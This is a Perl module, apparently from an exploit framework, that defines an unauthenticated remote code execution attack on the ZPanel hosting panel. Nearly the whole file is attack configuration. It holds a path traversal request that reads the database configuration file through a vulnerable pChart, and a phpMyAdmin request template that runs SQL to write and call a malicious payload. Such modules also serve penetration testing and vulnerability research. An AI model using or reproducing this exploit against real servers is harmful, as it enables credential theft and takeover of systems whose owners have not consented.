package ZPANEL::MSF::ZpanelInformationDisclosureRce;
use lib qw(../../); use parent qw(Exploit);

use 5.10.0;

use strict;
use warnings;

no warnings 'experimental';

use URI::URL;
use Data::Dump qw(dump);
use File::Slurp qw(read_file);

# # 
# # 
# # 

sub load {
    my $type  = shift;
    my $class = ref $type || $type;
    my $self = { };
    bless $self, $class;

    return $self;
}

sub new {
   my $class = shift;
   

   my $name = "ZpanelInformationDisclosureRce";

   my $DETECTION = {

   };

my $EXPLOIT = {
  CTYPE       => "application/x-www-form-urlencoded; charset=UTF-8",
  DESCRIPTION => "

        This module exploits an information disclosure vulnerability

        in ZPanel.  The vulnerability is due to a vulnerable version

        of pChart used by ZPanel that allows unauthenticated users to read

        arbitrary files remotely on the file system.  This particular module

        utilizes this vulnerability to identify the username/password

        combination of the MySQL instance.  With the

        credentials the attackers can login to PHPMyAdmin and execute

        SQL commands to drop a malicious payload on the filesystem and

        call it leading to remote code execution. 

      ",
  METHOD      => "GET",
  MSF_MODULE  => "zpanel_information_disclosure_rce",
  OSVDB       => 102595,
  PATH        => "Action=View&Script=../../../../cnf/db.php&token=__TOKEN__&",
  PATHS       => ["zpanel"],
  PAYLOAD     => "pma_username=__PMA_USERNAME__&pma_password=__PMA_PASSWORD__&server=1&lang=en&collation_connection=utf8_general_ci&token=__TOKEN__&is_js_confirmed=0&token=__TOKEN__&pos=0&goto=server_sql.php&message_to_show=Your+SQL+query+has+been+executed+successfully&prev_sql_query=&sql_query=__SQL_QUERY__&sql_delimiter=;&show_query=1&ajax_request=true&_nocache=___NOCACHE__&",
  REFERENCES  => [
                   "http://blog.0xlabs.com/2014/03/zpanel-10.1.x-remote-root.html",
                   "http://pastebin.com/y5Pf4Yms",
                 ],
  TITLE       => "Zpanel Remote Unauthenticated RCE",
  VARIABLES => {
    'SQL_QUERY' =>       { DESCRIPTION => "", VALUE => "" },
    'PMA_PASSWORD' =>       { DESCRIPTION => "", VALUE => "" },
    'URI' =>       { DESCRIPTION => "", VALUE => "" },
    '_NOCACHE' =>       { DESCRIPTION => "", VALUE => "" },
    'FNAME' =>       { DESCRIPTION => "", VALUE => "" },
    'RHOST' =>       { DESCRIPTION => "", VALUE => "" },
    'PATH' =>       { DESCRIPTION => "The base path to Zpanel", VALUE => "/zpanel" },
    'TOKEN' =>       { DESCRIPTION => "", VALUE => "" },
    'PMA_USERNAME' =>       { DESCRIPTION => "", VALUE => "" },
    'SID' =>       { DESCRIPTION => "", VALUE => "" },
  },

  TYPE => 'MSF',
  PLATFORM => 'MULTI',
  REQUESTS => {
    EXPLOIT2 => {
      METHOD       => 'GET',
      PATH   => '',
      PAYLOAD      => '',
      TEXT   => 'Sending Exploit #2 Request : [GET] ',
      HEADERS      => {
        'Content-Type' => 'application/x-www-form-urlencoded',
      },
      VALIDATION   => {
        TCODE => ['200'],
      },
    },
  },
   };

   return $class->SUPER::new($name, $DETECTION, $EXPLOIT, @_);
}

return 1;
